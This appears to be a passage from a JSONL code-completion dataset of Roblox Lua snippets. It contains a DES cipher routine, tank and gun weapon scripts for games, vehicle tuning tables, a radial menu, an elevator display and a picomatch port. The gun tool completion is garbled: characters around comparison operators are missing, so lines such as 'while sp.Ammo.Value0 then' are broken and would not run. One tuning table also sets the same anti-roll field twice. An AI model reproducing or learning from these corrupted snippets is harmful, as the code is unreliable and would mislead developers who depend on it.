permute(keyBits,PC1);\n\n\t--key schedule\n\tCD = permute(CD,KS1); local KEY1 = permute(CD,PC2);\n\tCD = permute(CD,KS2); local KEY2 = permute(CD,PC2);\n\tCD = permute(CD,KS3); local KEY3 = permute(CD,PC2);\n\tCD = permute(CD,KS4); local KEY4 = permute(CD,PC2);\n\tCD = permute(CD,KS5); local KEY5 = permute(CD,PC2);\n\tCD = permute(CD,KS6); local KEY6 = permute(CD,PC2);\n\tCD = permute(CD,KS7); local KEY7 = permute(CD,PC2);\n\tCD = permute(CD,KS8); local KEY8 = permute(CD,PC2);\n\tCD = permute(CD,KS9); local KEY9 = permute(CD,PC2);\n\tCD = permute(CD,KS10); local KEY10 = permute(CD,PC2);\n\tCD = permute(CD,KS11); local KEY11 = permute(CD,PC2);\n\tCD = permute(CD,KS12); local KEY12 = permute(CD,PC2);\n\tCD = permute(CD,KS13); local KEY13 = permute(CD,PC2);\n\tCD = permute(CD,KS14); local KEY14 = permute(CD,PC2);\n\tCD = permute(CD,KS15); local KEY15 = permute(CD,PC2);\n\tCD = permute(CD,KS16); local KEY16 = permute(CD,PC2);\n\n\t--input permutation\n\tLR = permute(LR,IN_P);\n\n\t--rounds\n\tlocal frk = mix(LR,KEY1);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY2);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY3);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY4);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY5);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY6);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY7);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY8);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY9);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY10);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY11);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY12);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY13);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY14);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY15);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY16);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\t--LR = permute(LR,LR_SWAP);\n\n\t--output permutation\n\tLR = permute(LR,OUT_P);\t\n\n\tlocal outputBlock = packBytes(LR);\n\treturn outputBlock;\nend\n\nDES.decrypt = function(keyBlock,inputBlock)\n\n\n\tlocal LR = unpackBytes(inputBlock);\n\tlocal keyBits = unpackBytes(keyBlock);\n\n\n\tlocal CD = permute(keyBits,PC1);\n\n\t--key schedule\n\tCD = permute(CD,KS1); local KEY1 = permute(CD,PC2);\n\tCD = permute(CD,KS2); local KEY2 = permute(CD,PC2);\n\tCD = permute(CD,KS3); local KEY3 = permute(CD,PC2);\n\tCD = permute(CD,KS4); local KEY4 = permute(CD,PC2);\n\tCD = permute(CD,KS5); local KEY5 = permute(CD,PC2);\n\tCD = permute(CD,KS6); local KEY6 = permute(CD,PC2);\n\tCD = permute(CD,KS7); local KEY7 = permute(CD,PC2);\n\tCD = permute(CD,KS8); local KEY8 = permute(CD,PC2);\n\tCD = permute(CD,KS9); local KEY9 = permute(CD,PC2);\n\tCD = permute(CD,KS10); local KEY10 = permute(CD,PC2);\n\tCD = permute(CD,KS11); local KEY11 = permute(CD,PC2);\n\tCD = permute(CD,KS12); local KEY12 = permute(CD,PC2);\n\tCD = permute(CD,KS13); local KEY13 = permute(CD,PC2);\n\tCD = permute(CD,KS14); local KEY14 = permute(CD,PC2);\n\tCD = permute(CD,KS15); local KEY15 = permute(CD,PC2);\n\tCD = permute(CD,KS16); local KEY16 = permute(CD,PC2);\n\n\t--input permutation\n\tLR = permute(LR,IN_P);\n\n\t--rounds\n\tlocal frk = mix(LR,KEY16);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY15);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY14);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY13);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY12);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY11);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY10);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY9);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY8);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY7);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY6);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY5);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY4);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY3);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY2);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\tLR = permute(LR,LR_SWAP);\n\n\tfrk = mix(LR,KEY1);\n\tfor k,v in pairs(frk) do LR[k] = XOR(LR[k],frk[k]); end\n\t--LR = permute(LR,LR_SWAP);\n\n\t--output permutation\n\tLR = permute(LR,OUT_P);\t\n\n\tlocal outputBlock = packBytes(LR);\n\treturn outputBlock;\nend\n\nreturn DES;\n"} +{"prompt": "-- When tool deselected", "completion": "\nfunction onDeselected(mouse)\n\tmyMouse = nil\nend\n\nrayPart\t\t\t\t\t= Instance.new(\"Part\")\nrayPart.Name\t\t\t= \"MG Ray\"\nrayPart.Transparency\t= .5\nrayPart.Anchored\t\t= true\nrayPart.CanCollide\t\t= false\nrayPart.TopSurface\t\t= Enum.SurfaceType.Smooth\nrayPart.BottomSurface\t= Enum.SurfaceType.Smooth\nrayPart.formFactor\t\t= Enum.FormFactor.Custom\nrayPart.BrickColor\t\t= BrickColor.new(\"Bright yellow\")\nrayPart.Reflectance\t\t= 0\nrayPart.Material = Enum.Material.SmoothPlastic\n\nfunction fireCoax()\n\tlocal MGAmmo = tankStats.MGAmmo;\n\tif MGAmmo.Value <= 0 then\n\t\treturn false;\n\tend;\n\t\n\tlocal machineGun = parts.Parent.Gun.Coax\n\tlocal PL\t\t\t\t= Instance.new(\"PointLight\")\n\tPL.Parent\t\t\t\t= machineGun\n\tPL.Brightness\t\t\t= 50\n\tPL.Color\t\t\t\t= Color3.new(255, 255, 0)\n\tPL.Range\t\t\t\t= 15\n\tPL.Shadows\t\t\t\t= true\n\t\n\t\n\tMGAmmo.Value = MGAmmo.Value - 1;\n\tmachineGun.Sound:Play();\n\t\n\tlocal offset = (parts.Parent.Gun.Muzzle.CFrame * CFrame.new(0,100,0).p\n - parts.Parent.Gun.Muzzle.Position).unit * 999;\n local ray = Ray.new(machineGun.Position, offset);\n\t"} +{"prompt": "-- Public Constructors", "completion": "\n\nfunction RadialMenuClass.new(subN, tPercent, rotation, ZIndex)\n\tlocal self = setmetatable({}, RadialMenuClass)\n\t\n\tself._Maid = Lazy.Utilities.Maid.new()\n\tself._ClickedBind = Instance.new(\"BindableEvent\")\n\tself._HoverBind = Instance.new(\"BindableEvent\")\n\tself._LastHoverIndex = nil\n\t\n\tself.Frame = CreateRadial(subN, tPercent, rotation, ZIndex)\n\tself.Rotation = rotation\n\tself.SubN = subN\n\t\n\tself.Enabled = true\n\tself.DeadZoneIn = 0.5\n\tself.DeadZoneOut = math.huge\n\t\n\tself.Clicked = self._ClickedBind.Event\n\tself.Hover = self._HoverBind.Event\n\t\n\tinit(self)\n\t\n\tself:SetDialProps{ImageColor3 = Color3.new(0, 0, 0)}\n\tself:SetRadialProps{\n\t\tImageColor3 = Color3.new(0, 0, 0),\n\t\tImageTransparency = 0.7\n\t}\n\t\n\treturn self\nend\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal Tune = {}\nTune.LoadDelay = 1\nTune.AutoStart = false\nTune.AutoFlip = true\nTune.FCamber = -0.2\nTune.RCamber = -0.3\nTune.FCaster = 0\nTune.FToe = 0\nTune.RToe = 0\nTune.Weight = 3400\nTune.WeightBSize = {\n 6,\n 4,\n 15\n}\nTune.WeightDist = 54\nTune.CGHeight = 0.8\nTune.WBVisible = false\nTune.FWheelDensity = 0.1\nTune.RWheelDensity = 0.1\nTune.FWLgcyDensity = 1\nTune.RWLgcyDensity = 1\nTune.AxleSize = 2\nTune.AxleDensity = 0.1\nTune.SusEnabled = true\nTune.FSusDamping = 1200\nTune.FSusStiffness = 9000\nTune.FAntiRoll = 553\nTune.FSusLength = 2\nTune.FPreCompress = 0.3\nTune.FExtensionLim = 0.3\nTune.FCompressLim = 0.1\nTune.FSusAngle = 80\nTune.FWsBoneLen = 5\nTune.FWsBoneAngle = 0\nTune.FAnchorOffset = {\n -0.4,\n -0.5,\n 0\n}\nTune.RSusDamping = 1200\nTune.RSusStiffness = 9000\nTune.FAntiRoll = 650\nTune.RSusLength = 1.8\nTune.RPreCompress = 0.3\nTune.RExtensionLim = 0.3\nTune.RCompressLim = 0.1\nTune.RSusAngle = 80\nTune.RWsBoneLen = 5\nTune.RWsBoneAngle = 0\nTune.RAnchorOffset = {\n -0.4,\n -0.5,\n 0\n}\nTune.SusVisible = true\nTune.WsBVisible = false\nTune.SusRadius = 0.2\nTune.SusThickness = 0.1\nTune.SusColor = \"Bright red\"\nTune.SusCoilCount = 6\nTune.WsColor = \"Black\"\nTune.WsThickness = 0.1\nTune.FGyroDamp = 100\nTune.RGyroDamp = 100\nTune.SteerInner = 32\nTune.SteerOuter = 33\nTune.SteerSpeed = 0.1\nTune.ReturnSpeed = 0.18\nTune.SteerDecay = 240\nTune.MinSteer = 10\nTune.MSteerExp = 1\nTune.SteerD = 1000\nTune.SteerMaxTorque = 18000\nTune.SteerP = 20000\nTune.IdleRPM = 800\nTune.PeakRPM = 8500\nTune.Redline = 9000\nTune.ElectricHorsepower = 570\nTune.ElectricEqPoint = 10000\nTune.ElectricPeakSharpness = 4.8\nTune.ElectricCurveMult = 0.013\nTune.InclineComp = 1.2\nTune.Aspiration = \"Natural\"\nTune.Boost = 5\nTune.TurboSize = 80\nTune.CompressRatio = 9\nTune.Sensitivity = 0.05\nTune.RevAccel = 300\nTune.RevDecay = 75\nTune.RevBounce = 500\nTune.IdleThrottle = 3\nTune.Flywheel = 50\nTune.Config = \"RWD\"\nTune.TorqueVector = 0\nTune.FDiffSlipThres = 50\nTune.FDiffLockThres = 50\nTune.RDiffSlipThres = 80\nTune.RDiffLockThres = 20\nTune.CDiffSlipThres = 50\nTune.CDiffLockThres = 50\nTune.TCSEnabled = true\nTune.TCSThreshold = 20\nTune.TCSGradient = 20\nTune.TCSLimit = 10\nTune.TransModes = {\"Manual\", \"Semi\"}\nTune.ClutchMult = 1\nTune.ClutchSens = 0.4\nTune.Stall = true\nTune.AutoShiftMode = \"RPM\"\nTune.AutoUpThresh = -200\nTune.AutoDownThresh = 1400\nTune.FinalDrive = 3.97\nTune.Ratios = {\n 2.93,\n 0,\n 3.75,\n 2.38,\n 1.72,\n 1.34,\n 1.11,\n 0.96,\n 0.84\n}\nTune.FDMult = 1\nTune.ABSEnabled = true\nTune.ABSThreshold = 20\nTune.FBrakeForce = 1500\nTune.RBrakeForce = 1000\nTune.PBrakeForce = 5000\nTune.FLgcyBForce = 15000\nTune.RLgcyBForce = 10000\nTune.LgcyPBForce = 25000\nTune.Peripherals = {\n MSteerWidth = 67,\n MSteerDZone = 10,\n ControlLDZone = 5,\n ControlRDZone = 5\n}\nTune.Controls = {\n ToggleTCS = Enum.KeyCode.T,\n ToggleABS = Enum.KeyCode.Y,\n ToggleTransMode = Enum.KeyCode.M,\n ToggleMouseDrive = Enum.KeyCode.R,\n Throttle = Enum.KeyCode.Up,\n Brake = Enum.KeyCode.Down,\n SteerLeft = Enum.KeyCode.Left,\n SteerRight = Enum.KeyCode.Right,\n Throttle2 = Enum.KeyCode.W,\n Brake2 = Enum.KeyCode.S,\n SteerLeft2 = Enum.KeyCode.A,\n SteerRight2 = Enum.KeyCode.D,\n ShiftUp = Enum.KeyCode.E,\n ShiftDown = Enum.KeyCode.Q,\n Clutch = Enum.KeyCode.LeftShift,\n PBrake = Enum.KeyCode.P,\n MouseThrottle = Enum.UserInputType.MouseButton1,\n MouseBrake = Enum.UserInputType.MouseButton2,\n MouseClutch = Enum.KeyCode.W,\n MouseShiftUp = Enum.KeyCode.E,\n MouseShiftDown = Enum.KeyCode.Q,\n MousePBrake = Enum.KeyCode.LeftShift,\n ContlrThrottle = Enum.KeyCode.ButtonR2,\n ContlrBrake = Enum.KeyCode.ButtonL2,\n ContlrSteer = Enum.KeyCode.Thumbstick1,\n ContlrShiftUp = Enum.KeyCode.ButtonY,\n ContlrShiftDown = Enum.KeyCode.ButtonX,\n ContlrClutch = Enum.KeyCode.ButtonR1,\n ContlrPBrake = Enum.KeyCode.ButtonL1,\n ContlrToggleTMode = Enum.KeyCode.DPadUp,\n ContlrToggleTCS = Enum.KeyCode.DPadDown,\n ContlrToggleABS = Enum.KeyCode.DPadRight\n}\nTune.WeightScaling = 0.02\nTune.LegacyScaling = 0.1\nreturn Tune\n"} +{"prompt": "--(\"IsAPlayer\")", "completion": "\nif pl.PlayerGui:findFirstChild(\"VehicleGui\")~=nil then"} +{"prompt": "-- Night time", "completion": "\nnight_h1,night_m1 = 18,50\t--start\nnight_h2,night_m2 = 5,30\t-- end\nlocal night_time1 = (night_h1 + (night_m1/60)) * 60\nlocal night_time2 = (night_h2 + (night_m2/60)) * 60\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"RWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 30\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 60\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 18\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 18\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 9\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "-------------------------------------------------------------------------------", "completion": "\n\n\n\n\n\n\nfunction tagHumanoid(humanoid)\n\tlocal plr=game.Players:playerFromCharacter(sp.Parent)\n\tif plr~=nil then\n\t\tlocal tag=Instance.new(\"ObjectValue\")\n\t\ttag.Value=plr\n\t\ttag.Name=\"creator\"\n\t\ttag.Parent=humanoid\n\t\tdelay(2,function()\n\t\t\tif tag~=nil then\n\t\t\t\ttag.Parent=nil\n\t\t\tend\n\t\tend)\n\tend\nend\n\n\nfunction reload(mouse)\n\treloading=true\n\tmouse.Icon=ReloadCursor\n\twhile sp.Ammo.Value0 then\n\t\t\t\tlocal eplr=game.Players:playerFromCharacter(humanoid.Parent)\n\t\t\t\tlocal plr=game.Players:playerFromCharacter(sp.Parent)\n\t\t\t\tif eplr~=nil and plr~=nil then\n\t\t\t\t--\tif eplr.TeamColor~=plr.TeamColor or eplr.Neutral or plr.Neutral then\n\t\t\t\t\t\ttagHumanoid(humanoid)\n\t\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\t--\tend\n\t\t\t\telse\n\t\t\t\t\ttagHumanoid(humanoid)\n\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif (hit.Name == \"Part10\") or (hit.Name == \"Part11\") or (hit.Name == \"Part21\") or (hit.Name == \"Part23\") or (hit.Name == \"Part24\") or (hit.Name == \"Part8\") then\n\t\t\trand = math.random(1,5)\n\t\t\tif rand == 3 then\n\t\t\t\tworkspace.GlassSound:play()\n\t\t\t\thit:breakJoints()\n\t\t\tend\n\t\tend\n\t\tif (hit.Parent:findFirstChild(\"Hit\")) then\n\t\t\thit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage/3\n\t\tend\n\t\tdistance=(startpoint-pos).magnitude\n\t\tbullet.CFrame=cfrm*CFrame.new(0,0,-distance/2)\n\t\tbullet.Mesh.Scale=Vector3.new(.15,.15,distance)\n\telse\n\t\tbullet.CFrame=cfrm*CFrame.new(0,0,-RayLength/2) \n\t\tbullet.Mesh.Scale=Vector3.new(.15,.15,RayLength)\n\tend\n\tif pos~=nil then\n\tend\n\tlocal deb=game:FindFirstChild(\"Debris\")\n\tif deb==nil then\n\t\tlocal debris=Instance.new(\"Debris\")\n\t\tdebris.Parent=game\n\tend\n\tcheck()\n\tgame.Debris:AddItem(bullet,.05)\nend\n\nfunction onButton1Up(mouse)\n\tdown=false\nend\n\nfunction onButton1Down(mouse)\n\th=sp.Parent:FindFirstChild(\"Humanoid\")\n\tif not enabled or reloading or down or h==nil then\n\t\treturn\n\tend\n\tif sp.Ammo.Value>0 and h.Health>0 then\n\t\t--[[if sp.Ammo.Value<=0 then\n\t\t\tif not reloading then\n\t\t\t\treload(mouse)\n\t\t\tend\n\t\t\treturn\n\t\tend]]\n\t\tdown=true\n\t\tenabled=false\n\t\twhile down do\n\t\t\tif sp.Ammo.Value<=0 then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tif burst then\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag=(mouse.Hit.p-startpoint).magnitude\n\t\t\t\tlocal rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))\n\t\t\t\tfire(mouse.Hit.p+rndm)\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tif sp.Ammo.Value<=0 then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\twait(.05)\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag2=((mouse.Hit.p+rndm)-startpoint).magnitude\n\t\t\t\tlocal rndm2=Vector3.new(math.random(-(.1/10)*mag2,(.1/10)*mag2),math.random(-(.1/10)*mag2,(.1/10)*mag2),math.random(-(.1/10)*mag2,(.1/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm2)\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tif sp.Ammo.Value<=0 then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\twait(.05)\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm2+rndm2)\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\telseif shot then\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag=(mouse.Hit.p-startpoint).magnitude\n\t\t\t\tlocal rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))\n\t\t\t\tfire(mouse.Hit.p+rndm)\n\t\t\t\tlocal mag2=((mouse.Hit.p+rndm)-startpoint).magnitude\n\t\t\t\tlocal rndm2=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm2)\n\t\t\t\tlocal rndm3=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm3)\n\t\t\t\tlocal rndm4=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))\n\t\t\t\tfire(mouse.Hit.p+rndm+rndm4)\n\t\t\telse\n\t\t\t\tsp.Ammo.Value=sp.Ammo.Value-1\n\t\t\t\tlocal startpoint=sp.Handle.CFrame*BarrlePos\n\t\t\t\tlocal mag=(mouse.Hit.p-startpoint).magnitude\n\t\t\t\tlocal rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))\n\t\t\t\tfire(mouse.Hit.p+rndm)\n\t\t\tend\n\t\t\twait(Firerate)\n\t\t\tif not automatic then\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\t\n\t\tenabled=true\n\telse\n\t\tsp.Handle.Trigger:Play()\n\tend\nend\n\nfunction onEquippedLocal(mouse)\n\tif mouse==nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\tmouse.Icon=Cursors[1]\n\tmouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end)\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\tmouse.Button1Up:connect(function() onButton1Up(mouse) end)\n\tcheck()\n\tequiped=true\n\tif #Cursors>1 then\n\t\twhile equiped do\n\t\t\tt=r.Stepped:wait()\n\t\t\tlocal action=sp.Parent:FindFirstChild(\"Pose\")\n\t\t\tif action~=nil then\n\t\t\t\tif sp.Parent.Pose.Value==\"Standing\" then\n\t\t\t\t\tSpread=MinSpread\n\t\t\t\telse\n\t\t\t\t\tSpread=MinSpread+((4/10)*(MaxSpread-MinSpread))\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tSpread=MinSpread\n\t\t\tend\n\t\t\tif t-last(i/(#Cursors-1))-((1/(#Cursors-1))/2) and percent<(i/(#Cursors-1))+((1/(#Cursors-1))/2) then\n\t\t\t\t\t\tmouse.Icon=Cursors[i+1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\twait(Firerate*.9)\n\t\tend\n\tend\nend\nfunction onUnequippedLocal(mouse)\n\tequiped=false\n\treloading=false\nend\nsp.Equipped:connect(onEquippedLocal)\nsp.Unequipped:connect(onUnequippedLocal)\ncheck()\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nLift:WaitForChild(\"Direction\").Changed:connect(function(val)\n\tif val == 1 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.M2.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\telseif val == -1 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.M2.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Institutional white\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Institutional white\")\n\telse\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.M2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\tend\nend)\n"} +{"prompt": "--[[*\n * Test `input` with the given `regex`. This is used by the main\n * `picomatch()` function to test the input string.\n *\n * ```js\n * const picomatch = require('picomatch');\n * // picomatch.test(input, regex[, options]);\n *\n * console.log(picomatch.test('foo/bar', /^(?:([^/]*?)\\/([^/]*?))$/));\n * // { isMatch: true, match: [ 'foo/', 'foo', 'bar' ], output: 'foo/bar' }\n * ```\n * @param {String} `input` String to test.\n * @param {RegExp} `regex`\n * @return {Object} Returns an object with matching info.\n * @api public\n ]]", "completion": "\n\nfunction picomatch.test(input: string, regex: RegExp, options: Object?, ref_: Object?)\n\tlocal ref: Object = ref_ or {}\n\tlocal glob, posix = ref.glob, ref.posix\n\n\tif typeof(input) ~= \"string\" then\n\t\terror(Error.new(\"TypeError: Expected input to be a string\"))\n\tend\n\n\tif input == \"\" then\n\t\treturn { isMatch = false, output = \"\" }\n\tend\n\n\tlocal opts: Object = options or {}\n\tlocal format = if Boolean.toJSBoolean(opts.format)\n\t\tthen opts.format\n\t\telse if Boolean.toJSBoolean(posix) then utils.toPosixSlashes else nil\n\tlocal match = input == glob\n\tlocal output = if match and Boolean.toJSBoolean(format) then format(input) else input\n\n\tif match == false then\n\t\toutput = if Boolean.toJSBoolean(format) then format(input) else input\n\t\tmatch = output == glob\n\tend\n\n\tif match == false or opts.capture == true then\n\t\tif opts.matchBase == true or opts.basename == true then\n\t\t\tmatch = picomatch.matchBase(input, regex, options, posix)\n\t\telse\n\t\t\t-- ROBLOX FIXME: Luau narrows the type to boolean and doesn't allow for result of RegExp:exec to be assigned\n\t\t\tmatch = regex:exec(output) :: any\n\t\tend\n\tend\n\n\treturn { isMatch = Boolean.toJSBoolean(match), match = match, output = output }\nend\n"} +{"prompt": "--[[*\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n]]", "completion": "\nlocal Packages = script.Parent.Parent\nlocal LuauPolyfill = require(Packages.LuauPolyfill)\nlocal Error = LuauPolyfill.Error\n\nlocal function invariant(condition, format, ...)\n\t-- ROBLOX TODO: we should encapsulate all formatting compatibility here,\n\t-- rather than spreading workarounds throughout the codebase, eg this\n\t-- should print an array without the need for a table.concat on the consumer side\n\tif not condition then\n\t\terror(Error(string.format(format, ...)))\n\tend\nend\n\nreturn invariant\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": 